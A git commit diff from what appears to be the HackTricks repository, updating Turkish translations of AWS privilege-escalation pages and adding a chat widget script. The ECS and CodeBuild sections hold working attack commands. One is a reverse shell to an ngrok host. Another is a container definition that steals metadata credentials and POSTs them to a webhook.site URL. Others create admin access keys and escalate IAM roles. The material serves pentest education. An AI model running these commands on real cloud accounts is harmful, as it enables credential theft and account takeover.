Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

This commit is contained in:
Translator
2025-04-30 15:31:56 +00:00
parent eb87ed4b43
commit aaabe58d38
7 changed files with 947 additions and 541 deletions

View File

@@ -31,6 +31,7 @@ additional-js = [
"theme/tabs.js",
"theme/ht_searcher.js",
"theme/sponsor.js",
"theme/ai.js"
]
no-section-label = true
preferred-dark-theme = "hacktricks-dark"

View File

@@ -12,7 +12,7 @@ Daha fazla bilgi için:
### `codebuild:StartBuild` | `codebuild:StartBuildBatch`
Bu izinlerden sadece biri ile yeni bir buildspec ile bir build tetiklemek ve projeye atanan iam rolünün token'ını çalmak yeterlidir:
Bu izinlerden sadece biri ile yeni bir buildspec ile bir build başlatmak ve projeye atanan iam rolünün token'ını çalmak yeterlidir:
{{#tabs }}
{{#tab name="StartBuild" }}
@@ -67,7 +67,7 @@ aws codebuild start-build-batch --project <project-name> --buildspec-override fi
### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
**`iam:PassRole`, `codebuild:CreateProject` ve `codebuild:StartBuild` veya `codebuild:StartBuildBatch`** izinlerine sahip bir saldırgan, çalışan bir build oluşturarak **herhangi bir codebuild IAM rolüne yetki yükseltebilir**.
**`iam:PassRole`, `codebuild:CreateProject` ve `codebuild:StartBuild` veya `codebuild:StartBuildBatch`** izinlerine sahip bir saldırgan, çalışan bir tane oluşturarak **herhangi bir codebuild IAM rolüne yetki yükseltebilir**.
{{#tabs }}
{{#tab name="Example1" }}
@@ -176,15 +176,15 @@ Wait a few seconds to maybe a couple minutes and view the POST request with data
> [!WARNING]
> Bir **Codebuild konteynerinde** dosya `/codebuild/output/tmp/env.sh` **metadata kimlik bilgilerine** erişmek için gereken tüm ortam değişkenlerini içerir.
> Bu dosya, **kimlik bilgilerine erişim için URL yolu** içeren **ortam değişkeni `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** içerir. Bu, `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420` gibi bir şey olacaktır.
> Bu dosya, **kimlik bilgilerine erişim için URL yolu** içeren **ortam değişkeni `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** içerir. Bu, şöyle bir şey olacaktır: `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
> Bunu **`http://169.254.170.2/`** URL'sine ekleyin ve rol kimlik bilgilerini dökme işlemini gerçekleştirebileceksiniz.
> Bunu **`http://169.254.170.2/`** URL'sine ekleyin ve rol kimlik bilgilerini dökme işlemini gerçekleştirebilirsiniz.
> Ayrıca, **konteyner hakkında metadata bilgilerini almak için** tam URL'yi içeren **ortam değişkeni `ECS_CONTAINER_METADATA_URI`** de içerir.
### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
Önceki bölümde olduğu gibi, bir build projesi oluşturmak yerine onu değiştirebiliyorsanız, IAM Rolünü belirtebilir ve token'ı çalabilirsiniz.
Önceki bölümde olduğu gibi, bir inşa projesi oluşturmak yerine onu değiştirebiliyorsanız, IAM Rolünü belirtebilir ve token'ı çalabilirsiniz.
```bash
REV_PATH="/tmp/codebuild_pwn.json"
@@ -214,7 +214,7 @@ JSON="{
printf "$JSON" > $REV_PATH
aws codebuild update-project --cli-input-json file://$REV_PATH
aws codebuild update-project --name codebuild-demo-project --cli-input-json file://$REV_PATH
aws codebuild start-build --project-name codebuild-demo-project
```
@@ -302,9 +302,9 @@ aws codebuild start-build-batch --project-name codebuild-demo-project
### SSM
**Bir ssm oturumu başlatmak için yeterli izinlere sahip olmak** durumunda, **inşa edilen bir Codebuild projesinin içine girmek** mümkündür.
**Bir ssm oturumu başlatmak için yeterli izinlere sahip olmak** durumunda, **inşa edilen bir Codebuild projesinin içine** girmek mümkündür.
Codebuild projesinin bir kesme noktasına sahip olması gerekecek:
Codebuild projesinin bir kesme noktası olması gerekecek:
<pre class="language-yaml"><code class="lang-yaml">phases:
pre_build:
@@ -325,7 +325,7 @@ Daha fazla bilgi için [**belgelere göz atın**](https://docs.aws.amazon.com/co
Belirli bir CodeBuild projesinin `buildspec.yml` dosyasını yazma erişimine sahip olduğu bir S3 kovasında depolayan bir saldırgan, bu projeyi başlatıp/yeniden başlatabiliyorsa, CodeBuild sürecinde komut yürütme elde edebilir.
Not: Yükseltme, yalnızca CodeBuild işçisinin saldırgandan farklı, umarım daha ayrıcalıklı bir role sahip olması durumunda geçerlidir.
Not: Yükseltme, yalnızca CodeBuild işçisinin saldırganınkinden farklı, umarım daha ayrıcalıklı bir role sahip olması durumunda geçerlidir.
```bash
aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./
@@ -351,13 +351,13 @@ build:
commands:
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
```
**Etkisi:** AWS CodeBuild işçisi tarafından kullanılan role doğrudan yetki yükseltme, genellikle yüksek ayrıcalıklara sahiptir.
**Etkisi:** AWS CodeBuild işçisi tarafından kullanılan role doğrudan yetki yükselmesi, genellikle yüksek ayrıcalıklara sahiptir.
> [!WARNING]
> buildspec'in zip formatında beklenebileceğini unutmayın, bu nedenle bir saldırganın indirmesi, açması, kök dizininden `buildspec.yml` dosyasını değiştirmesi, tekrar ziplemesi ve yüklemesi gerekecektir.
Daha fazla ayrıntı [burada](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/) bulunabilir.
**Olası Etki:** Bağlı AWS Codebuild rollerine doğrudan yetki yükseltme.
**Olası Etki:** Ekli AWS Codebuild rollerine doğrudan yetki yükselmesi.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -13,6 +13,9 @@ Daha fazla **ECS hakkında bilgi** için:
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
`iam:PassRole`, `ecs:RegisterTaskDefinition` ve `ecs:RunTask` izinlerini kötüye kullanan bir saldırgan, **metadata kimlik bilgilerini çalan** **kötü niyetli bir konteyner** ile **yeni bir görev tanımı** **oluşturabilir** ve **çalıştırabilir**.
{{#tabs }}
{{#tab name="Reverse Shell" }}
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
@@ -32,12 +35,52 @@ aws ecs run-task --task-definition iam_exfiltration \
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
```
**Potansiyel Etki:** Farklı bir ECS rolüne doğrudan yetki artırma.
{{#endtab }}
{{#tab name="Webhook" }}
webhook.site gibi bir site ile bir webhook oluşturun
```bash
# Create file container-definition.json
[
{
"name": "exfil_creds",
"image": "python:latest",
"entryPoint": ["sh", "-c"],
"command": [
"CREDS=$(curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}); curl -X POST -H 'Content-Type: application/json' -d \"$CREDS\" https://webhook.site/abcdef12-3456-7890-abcd-ef1234567890"
]
}
]
# Run task definition, uploading the .json file
aws ecs register-task-definition \
--family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 \
--memory 512 \
--requires-compatibilities FARGATE \
--container-definitions file://container-definition.json
# Check the webhook for a response
# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
```
{{#endtab }}
{{#endtabs }}
**Olası Etki:** Farklı bir ECS rolüne doğrudan yetki yükseltme.
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
Önceki örnekte olduğu gibi, bir saldırgan **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** izinlerini kötüye kullanarak ECS'de **kötü niyetli bir konteyner** ile **yeni bir görev tanımı** oluşturabilir ve **bunu çalıştırabilir**.\
Ancak, bu durumda kötü niyetli görev tanımını çalıştırmak için bir konteyner örneği gereklidir.
Önceki örnekte olduğu gibi, **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** izinlerini kötüye kullanan bir saldırgan, **kötü niyetli bir konteyner** ile **yeni bir görev tanımı** oluşturabilir ve **bunu çalıştırabilir**.\
Ancak, bu durumda, kötü niyetli görev tanımını çalıştırmak için bir konteyner örneği olması gerekmektedir.
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
@@ -53,7 +96,7 @@ aws ecs start-task --task-definition iam_exfiltration \
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
```
**Potansiyel Etki:** Herhangi bir ECS rolüne doğrudan privesc.
**Potansiyel Etki:** Herhangi bir ECS rolüne doğrudan yetki yükseltme.
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
@@ -97,11 +140,11 @@ aws ecs run-task \
### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
Bu senaryo, önceki senaryolar gibidir ancak **`iam:PassRole`** izni **olmaksızın**.\
Bu hala ilginçtir çünkü eğer rastgele bir konteyner çalıştırabiliyorsanız, rol olmadan bile, **düğümden kaçmak için ayrıcalıklı bir konteyner çalıştırabilir** ve **EC2 IAM rolünü** ve düğümde çalışan **diğer ECS konteyner rollerini** **ç steal** edebilirsiniz.\
Hatta **ele geçirdiğiniz EC2 örneği içinde diğer görevlerin çalışmasını zorlayabilir** ve kimlik bilgilerini ç steal edebilirsiniz (bununla ilgili [**Düğüm bölümüne privesc**](aws-ecs-privesc.md#privesc-to-node) bakınız).
Bu hala ilginçtir çünkü eğer keyfi bir konteyner çalıştırabiliyorsanız, rol olmadan bile, **düğümde kaçmak için ayrıcalıklı bir konteyner çalıştırabilir** ve **EC2 IAM rolünü** ve düğümde çalışan **diğer ECS konteyner rollerini** **ç steal** edebilirsiniz.\
Hatta **ele geçirdiğiniz EC2 örneği içinde diğer görevlerin çalışmasını zorlayabilir** ve onların kimlik bilgilerini ç steal edebilirsiniz (bununla ilgili [**Düğüm bölümüne privesc**](aws-ecs-privesc.md#privesc-to-node) bakınız).
> [!WARNING]
> Bu saldırı yalnızca **ECS kümesinin EC2** örneklerini kullanması durumunda mümkündür ve Fargate değil.
> Bu saldırı yalnızca **ECS kümesi EC2** örnekleri kullanıyorsa ve Fargate değilse mümkündür.
```bash
printf '[
{
@@ -144,12 +187,12 @@ aws ecs run-task --task-definition iam_exfiltration \
```
### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
**`ecs:ExecuteCommand`, `ecs:DescribeTasks`** olan bir saldırgan, çalışan bir konteyner içinde **komutlar çalıştırabilir** ve ona bağlı IAM rolünü dışarı sızdırabilir (bunu yapmak için `aws ecs execute-command` çalıştırmak gerekli olduğu için tanımlama izinlerine ihtiyacınız var).\
**`ecs:ExecuteCommand`, `ecs:DescribeTasks`** yetkisine sahip bir saldırgan, çalışan bir konteyner içinde **komutlar çalıştırabilir** ve ona bağlı IAM rolünü dışarı sızdırabilir (bunu yapmak için `aws ecs execute-command` çalıştırmak gerekli olduğu için tanımlama izinlerine ihtiyacınız var).\
Ancak, bunu yapmak için konteyner örneğinin **ExecuteCommand ajanını** çalıştırıyor olması gerekir (varsayılan olarak değildir).
Bu nedenle, saldırgan şunları denemek isteyebilir:
- **Her çalışan konteynerde bir komut çalıştırmayı deneyin**
- **Her çalışan konteynerde bir komut çalıştırmayı dene**
```bash
# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
@@ -167,18 +210,18 @@ aws ecs execute-command --interactive \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"
```
- Eğer **`ecs:RunTask`** iznine sahipse, `aws ecs run-task --enable-execute-command [...]` ile bir görev çalıştırın.
- Eğer **`ecs:StartTask`** iznine sahipse, `aws ecs start-task --enable-execute-command [...]` ile bir görev çalıştırın.
- Eğer **`ecs:CreateService`** iznine sahipse, `aws ecs create-service --enable-execute-command [...]` ile bir hizmet oluşturun.
- Eğer **`ecs:UpdateService`** iznine sahipse, `aws ecs update-service --enable-execute-command [...]` ile bir hizmet güncelleyin.
- Eğer **`ecs:RunTask`** iznine sahipse, bir görevi `aws ecs run-task --enable-execute-command [...]` ile çalıştırın.
- Eğer **`ecs:StartTask`** iznine sahipse, bir görevi `aws ecs start-task --enable-execute-command [...]` ile çalıştırın.
- Eğer **`ecs:CreateService`** iznine sahipse, bir hizmet oluşturun `aws ecs create-service --enable-execute-command [...]` ile.
- Eğer **`ecs:UpdateService`** iznine sahipse, bir hizmeti `aws ecs update-service --enable-execute-command [...]` ile güncelleyin.
Bu **seçeneklerin örneklerini** **önceki ECS privesc bölümlerinde** bulabilirsiniz.
**Olası Etki:** Farklı bir role privesc, konteynerlere eklenmiş.
**Olası Etki:** Farklı bir role geçiş yapma, konteynerlere ekli.
### `ssm:StartSession`
Bu izni **ECS'ye privesc** için nasıl kötüye kullanabileceğinizi **ssm privesc sayfasında** kontrol edin:
Bu izni nasıl kötüye kullanabileceğinizi **ssm privesc sayfasında** kontrol edin ve **ECS'ye geçiş yapın**:
{{#ref}}
aws-ssm-privesc.md
@@ -186,7 +229,7 @@ aws-ssm-privesc.md
### `iam:PassRole`, `ec2:RunInstances`
Bu izinleri **ECS'ye privesc** için nasıl kötüye kullanabileceğinizi **ec2 privesc sayfasında** kontrol edin:
Bu izinleri nasıl kötüye kullanabileceğinizi **ec2 privesc sayfasında** kontrol edin ve **ECS'ye geçiş yapın**:
{{#ref}}
aws-ec2-privesc.md
@@ -194,12 +237,12 @@ aws-ec2-privesc.md
### `?ecs:RegisterContainerInstance`
TODO: Farklı bir AWS hesabından bir örneği kaydetmek mümkün mü, böylece görevler saldırgan tarafından kontrol edilen makinelerde çalıştırılabilir mi??
Yapılacak: Farklı bir AWS hesabından bir örneği kaydetmek mümkün mü, böylece görevler saldırgan tarafından kontrol edilen makinelerde çalıştırılabilir mi??
### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
> [!NOTE]
> TODO: Bunu test et
> Yapılacak: Bunu test et
`ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` ve `ecs:DescribeTaskSets` izinlerine sahip bir saldırgan, **mevcut bir ECS hizmeti için kötü niyetli bir görev seti oluşturabilir ve birincil görev setini güncelleyebilir**. Bu, saldırgana **hizmet içinde rastgele kod çalıştırma** imkanı tanır.
```bash

View File

@@ -16,7 +16,7 @@ Bir saldırgan, SNS konusuna kötü niyetli veya istenmeyen mesajlar gönderebil
```bash
aws sns publish --topic-arn <value> --message <value>
```
**Olası Etki**: ık istismarı, Veri bozulması, istenmeyen eylemler veya kaynak tükenmesi.
**Olası Etki**: Zafiyet istismarı, Veri bozulması, istenmeyen eylemler veya kaynak tükenmesi.
### `sns:Subscribe`
@@ -24,7 +24,7 @@ Bir saldırgan, bir SNS konusuna abone olabilir ve bu da mesajlara yetkisiz eri
```bash
aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
```
**Olası Etki**: Mesajlara (hassas bilgi) yetkisiz erişim, etkilenen konuya bağlı uygulamalar için hizmet kesintisi.
**Potansiyel Etki**: Mesajlara (hassas bilgi) yetkisiz erişim, etkilenen konuya bağlı uygulamalar için hizmet kesintisi.
### `sns:AddPermission`
@@ -32,6 +32,6 @@ Bir saldırgan, yetkisiz kullanıcılara veya hizmetlere bir SNS konusuna erişi
```css
aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
```
**Olası Etki**: Yetkisiz kullanıcılar veya hizmetler tarafından konuya yetkisiz erişim, mesajların ifşası veya konunun manipülasyonu, konuya bağlı uygulamaların normal işleyişinin kesintiye uğraması.
**Potansiyel Etki**: Yetkisiz kullanıcılar veya hizmetler tarafından konuya yetkisiz erişim, mesajların ifşası veya konunun manipülasyonu, konuya bağlı uygulamaların normal işleyişinin kesintiye uğraması.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -25,11 +25,11 @@ Ya da API AWS belgelerine gidip her eylemin belgelerini kontrol edebilirsiniz:
### `states:TestState` & `iam:PassRole`
**`states:TestState`** & **`iam:PassRole`** izinlerine sahip bir saldırgan, mevcut bir durum makinesi oluşturmadan veya güncellemeden herhangi bir durumu test edebilir ve ona herhangi bir IAM rolü geçirebilir, bu da rollerin izinleriyle diğer AWS hizmetlerine yetkisiz erişim sağlar. Birleştiğinde, bu izinler, veri manipülasyonundan veri ihlallerine, kaynak manipülasyonuna ve ayrıcalık yükseltmeye kadar geniş yetkisiz eylemlere yol açabilir.
**`states:TestState`** & **`iam:PassRole`** izinlerine sahip bir saldırgan, mevcut bir durum makinesi oluşturmadan veya güncellemeden herhangi bir durumu test edebilir ve ona herhangi bir IAM rolü geçirebilir, bu da rollerin izinleriyle diğer AWS hizmetlerine yetkisiz erişimi mümkün kılabilir. Bu izinler bir araya geldiğinde, iş akışlarını manipüle etmekten veri değiştirmeye, veri ihlallerine, kaynak manipülasyonuna ve ayrıcalık yükseltmeye kadar geniş çapta yetkisiz eylemlere yol açabilir.
```bash
aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
```
Aşağıdaki örnekler, bu izinleri ve AWS ortamının izin veren rolünü kullanarak **`admin`** kullanıcısı için bir erişim anahtarı oluşturan bir durumu nasıl test edeceğinizi göstermektedir. Bu izin veren rol, duruma **`iam:CreateAccessKey`** eylemini gerçekleştirme izni veren herhangi bir yüksek ayrıcalıklı politika ile ilişkilendirilmelidir (örneğin **`arn:aws:iam::aws:policy/AdministratorAccess`**):
Aşağıdaki örnekler, bu izinleri ve AWS ortamının izin veren rolünü kullanarak **`admin`** kullanıcısı için bir erişim anahtarı oluşturan bir durumu test etmenin nasıl olduğunu göstermektedir. Bu izin veren rol, duruma **`iam:CreateAccessKey`** eylemini gerçekleştirme izni veren herhangi bir yüksek ayrıcalıklı politika ile ilişkilendirilmelidir (örneğin **`arn:aws:iam::aws:policy/AdministratorAccess`**):
- **stateDefinition.json**:
```json
@@ -42,7 +42,7 @@ Aşağıdaki örnekler, bu izinleri ve AWS ortamının izin veren rolünü kulla
"End": true
}
```
- **Privesc** gerçekleştirmek için yürütülen **komut**:
- **Yetki yükseltme** gerçekleştirmek için yürütülen **komut**:
```bash
aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam::<account-id>:role/PermissiveRole
@@ -63,7 +63,7 @@ aws stepfunctions test-state --definition file://stateDefinition.json --role-arn
### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`)
**`states:CreateStateMachine`** & **`iam:PassRole`** yetkisine sahip bir saldırgan, bir durum makinesi oluşturabilir ve ona herhangi bir IAM rolü verebilir, bu da diğer AWS hizmetlerine rol izinleri ile yetkisiz erişim sağlar. Önceki yetki yükseltme tekniği ile karşılaştırıldığında (**`states:TestState`** & **`iam:PassRole`**), bu teknik kendiliğinden çalışmaz, ayrıca **`states:StartExecution`** veya **`states:StartSyncExecution`** izinlerine de sahip olmanız gerekir (**`states:StartSyncExecution`** **standart iş akışları için mevcut değildir**, **sadece durum makinelerini ifade etmek için**) durum makinesi üzerinde bir yürütme başlatmak için.
Bir saldırgan **`states:CreateStateMachine`** & **`iam:PassRole`** izinlerine sahip olduğunda, bir durum makinesi oluşturabilir ve ona herhangi bir IAM rolü verebilir, bu da diğer AWS hizmetlerine rol izinleriyle yetkisiz erişim sağlar. Önceki yetki yükseltme tekniğiyle (**`states:TestState`** & **`iam:PassRole`**) karşılaştırıldığında, bu teknik kendiliğinden çalışmaz, ayrıca **`states:StartExecution`** veya **`states:StartSyncExecution`** izinlerine de sahip olmanız gerekir (**`states:StartSyncExecution`** **standart iş akışları için mevcut değildir**, **sadece durum makinelerini ifade etmek için**), böylece durum makinesi üzerinde bir yürütme başlatabilirsiniz.
```bash
# Create a state machine
aws states create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
@@ -75,7 +75,7 @@ aws states start-execution --state-machine-arn <value> [--name <value>] [--input
# Start a Synchronous Express state machine execution
aws states start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
```
Aşağıdaki örnekler, **`admin`** kullanıcısı için bir erişim anahtarı oluşturan ve bu erişim anahtarını bir saldırgan kontrolündeki S3 bucket'ına sızdıran bir durum makinesi oluşturmanın nasıl yapılacağını göstermektedir. Bu izinleri ve AWS ortamının izin veren rolünü kullanarak. Bu izin veren rol, durum makinesinin **`iam:CreateAccessKey`** ve **`s3:putObject`** eylemlerini gerçekleştirmesine izin veren herhangi bir yüksek ayrıcalıklı politika ile ilişkilendirilmelidir (örneğin **`arn:aws:iam::aws:policy/AdministratorAccess`**).
Aşağıdaki örnekler, **`admin`** kullanıcısı için bir erişim anahtarı oluşturan ve bu erişim anahtarını bir saldırgan kontrolündeki S3 bucket'ına sızdıran bir durum makinesi oluşturmanın nasıl yapılacağını göstermektedir. Bu izinleri ve AWS ortamının izin veren rolünü kullanarak. Bu izin veren rol, durum makinesinin **`iam:CreateAccessKey`** ve **`s3:putObject`** eylemlerini gerçekleştirmesine izin veren herhangi bir yüksek ayrıcalıklı politika ile ilişkilendirilmelidir (örneğin **`arn:aws:iam::aws:policy/AdministratorAccess`**).
- **stateMachineDefinition.json**:
```json
@@ -140,15 +140,15 @@ aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:1
**`states:UpdateStateMachine`** iznine sahip bir saldırgan, bir durum makinesinin tanımını değiştirebilir ve ayrıcalık yükseltmesine yol açabilecek ekstra gizli durumlar ekleyebilir. Bu şekilde, meşru bir kullanıcı durum makinesinin yürütmesini başlattığında, bu yeni kötü niyetli gizli durum yürütülecek ve ayrıcalık yükseltmesi başarılı olacaktır.
Durum makinesi ile ilişkili IAM Rolü ne kadar izin verici olursa olsun, bir saldırgan 2 durumla karşılaşabilir:
Durum makinesi ile ilişkili IAM Rolü ne kadar izin verici ise, bir saldırgan 2 durumla karşılaşacaktır:
1. **İzin Verici IAM Rolü**: Eğer durum makinesi ile ilişkili IAM Rolü zaten izin verici ise (örneğin, **`arn:aws:iam::aws:policy/AdministratorAccess`** politikası eklenmişse), o zaman ayrıcalıkları yükseltmek için **`iam:PassRole`** izni gerekli olmayacaktır çünkü IAM Rolünü güncellemek de gerekli olmayacak, durum makinesi tanımını güncellemek yeterlidir.
1. **İzin Verici IAM Rolü**: Eğer durum makinesi ile ilişkili IAM Rolü zaten izin verici ise (örneğin, **`arn:aws:iam::aws:policy/AdministratorAccess`** politikası eklenmişse), o zaman ayrıcalıkları yükseltmek için **`iam:PassRole`** izni gerekli olmayacaktır çünkü IAM Rolünü güncellemek de gerekli olmayacaktır, durum makinesi tanımını güncellemek yeterlidir.
2. **İzin Vermeyen IAM Rolü**: Önceki durumun aksine, burada bir saldırgan ayrıca **`iam:PassRole`** iznine ihtiyaç duyacaktır çünkü durum makinesine izin verici bir IAM Rolü ilişkilendirmek için durum makinesi tanımını değiştirmeye ek olarak bu izin gereklidir.
```bash
aws states update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
```
Aşağıdaki örnekler, sadece bir HelloWorld Lambda fonksiyonunu çağıran meşru bir durum makinesini güncelleyerek, kullanıcı **`unprivilegedUser`**'ı **`administrator`** IAM Grubuna ekleyen ek bir durum eklemeyi göstermektedir. Bu şekilde, meşru bir kullanıcı güncellenmiş durum makinesinin bir yürütmesini başlattığında, bu yeni kötü niyetli gizli durum çalıştırılacak ve ayrıcalık yükseltme başarılı olacaktır.
Aşağıdaki örnekler, sadece bir HelloWorld Lambda fonksiyonunu çağıran meşru bir durum makinesini güncelleyerek, kullanıcı **`unprivilegedUser`**'ı **`administrator`** IAM Grubuna ekleyen ek bir durum eklemeyi göstermektedir. Bu şekilde, meşru bir kullanıcı güncellenmiş durum makinesinin bir yürütmesini başlattığında, bu yeni kötü niyetli gizli durum çalıştırılacak ve yetki yükseltme başarılı olacaktır.
> [!WARNING]
> Eğer durum makinesi ile ilişkili bir izinli IAM Rolü yoksa, izinli bir IAM Rolü ile ilişkilendirmek için **`iam:PassRole`** izni de gerekecektir (örneğin, **`arn:aws:iam::aws:policy/AdministratorAccess`** politikası eklenmiş bir rol).
@@ -226,6 +226,6 @@ aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-eas
"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
}
```
**Potansiyel Etki**: Yetkisiz iş akışlarının yürütülmesi ve manipülasyonu ile hassas kaynaklara erişim, bu da önemli güvenlik ihlallerine yol açabilir.
**Potansiyel Etki**: Yetkisiz yürütme ve iş akışlarının manipülasyonu ile hassas kaynaklara erişim, bu da önemli güvenlik ihlallerine yol açabilir.
{{#include ../../../banners/hacktricks-training.md}}

332
theme/ai.js Normal file
View File

@@ -0,0 +1,332 @@
/**
* HackTricks AI Chat Widget v1.15 Markdown rendering + sanitised
* ------------------------------------------------------------------------
* • Replaces the static “…” placeholder with a three-dot **bouncing** loader
* • Renders assistant replies as Markdown while purging any unsafe HTML
* (XSS-safe via DOMPurify)
* ------------------------------------------------------------------------
*/
(function () {
const LOG = "[HackTricks-AI]";
/* ---------------- User-tunable constants ---------------- */
const MAX_CONTEXT = 3000; // highlighted-text char limit
const MAX_QUESTION = 500; // question char limit
const TOOLTIP_TEXT =
"💡 Highlight any text on the page,\nthen click to ask HackTricks AI about it";
const API_BASE = "https://www.hacktricks.ai/api/assistants/threads";
const BRAND_RED = "#b31328"; // HackTricks brand
/* ------------------------------ State ------------------------------ */
let threadId = null;
let isRunning = false;
const $ = (sel, ctx = document) => ctx.querySelector(sel);
if (document.getElementById("ht-ai-btn")) {
console.warn(`${LOG} Widget already injected.`);
return;
}
(document.readyState === "loading"
? document.addEventListener("DOMContentLoaded", init)
: init());
/* ==================================================================== */
/* 🔗 1. 3rd-party libs → Markdown & sanitiser */
/* ==================================================================== */
function loadScript(src) {
return new Promise((resolve, reject) => {
const s = document.createElement("script");
s.src = src;
s.onload = resolve;
s.onerror = () => reject(new Error(`Failed to load ${src}`));
document.head.appendChild(s);
});
}
async function ensureDeps() {
const deps = [];
if (typeof marked === "undefined") {
deps.push(loadScript("https://cdn.jsdelivr.net/npm/marked/marked.min.js"));
}
if (typeof DOMPurify === "undefined") {
deps.push(
loadScript(
"https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.2.5/purify.min.js"
)
);
}
if (deps.length) await Promise.all(deps);
}
function mdToSafeHTML(md) {
// 1⃣ Markdown → raw HTML
const raw = marked.parse(md, { mangle: false, headerIds: false });
// 2⃣ Purify
return DOMPurify.sanitize(raw, { USE_PROFILES: { html: true } });
}
/* ==================================================================== */
async function init() {
/* ----- make sure marked & DOMPurify are ready before anything else */
try {
await ensureDeps();
} catch (e) {
console.error(`${LOG} Could not load dependencies`, e);
return;
}
console.log(`${LOG} Injecting widget… v1.15`);
await ensureThreadId();
injectStyles();
const btn = createFloatingButton();
createTooltip(btn);
const panel = createSidebar();
const chatLog = $("#ht-ai-chat");
const sendBtn = $("#ht-ai-send");
const inputBox = $("#ht-ai-question");
const resetBtn = $("#ht-ai-reset");
const closeBtn = $("#ht-ai-close");
/* ------------------- Selection snapshot ------------------- */
let savedSelection = "";
btn.addEventListener("pointerdown", () => {
savedSelection = window.getSelection().toString().trim();
});
/* ------------------- Helpers ------------------------------ */
function addMsg(text, cls) {
const b = document.createElement("div");
b.className = `ht-msg ${cls}`;
// ✨ assistant replies rendered as Markdown + sanitised
if (cls === "ht-ai") {
b.innerHTML = mdToSafeHTML(text);
} else {
// user / context bubbles stay plain-text
b.textContent = text;
}
chatLog.appendChild(b);
chatLog.scrollTop = chatLog.scrollHeight;
return b;
}
const LOADER_HTML =
'<span class="ht-loading"><span></span><span></span><span></span></span>';
function setInputDisabled(d) {
inputBox.disabled = d;
sendBtn.disabled = d;
}
function clearThreadCookie() {
document.cookie = "threadId=; Path=/; Max-Age=0";
threadId = null;
}
function resetConversation() {
chatLog.innerHTML = "";
clearThreadCookie();
panel.classList.remove("open");
}
/* ------------------- Panel open / close ------------------- */
btn.addEventListener("click", () => {
if (!savedSelection) {
alert("Please highlight some text first to then ask HackTricks AI about it.");
return;
}
if (savedSelection.length > MAX_CONTEXT) {
alert(
`Highlighted text is too long (${savedSelection.length} chars). Max allowed: ${MAX_CONTEXT}.`
);
return;
}
chatLog.innerHTML = "";
addMsg(savedSelection, "ht-context");
panel.classList.add("open");
inputBox.focus();
});
closeBtn.addEventListener("click", resetConversation);
resetBtn.addEventListener("click", resetConversation);
/* --------------------------- Messaging --------------------------- */
async function sendMessage(question, context = null) {
if (!threadId) await ensureThreadId();
if (isRunning) {
addMsg("Please wait until the current operation completes.", "ht-ai");
return;
}
isRunning = true;
setInputDisabled(true);
const loadingBubble = addMsg("", "ht-ai");
loadingBubble.innerHTML = LOADER_HTML;
const content = context
? `### Context:\n${context}\n\n### Question to answer:\n${question}`
: question;
try {
const res = await fetch(`${API_BASE}/${threadId}/messages`, {
method: "POST",
credentials: "include",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ content })
});
if (!res.ok) {
let err = `Unknown error: ${res.status}`;
try {
const e = await res.json();
if (e.error) err = `Error: ${e.error}`;
else if (res.status === 429)
err = "Rate limit exceeded. Please try again later.";
} catch (_) {}
loadingBubble.textContent = err;
return;
}
const data = await res.json();
loadingBubble.remove();
if (Array.isArray(data.response))
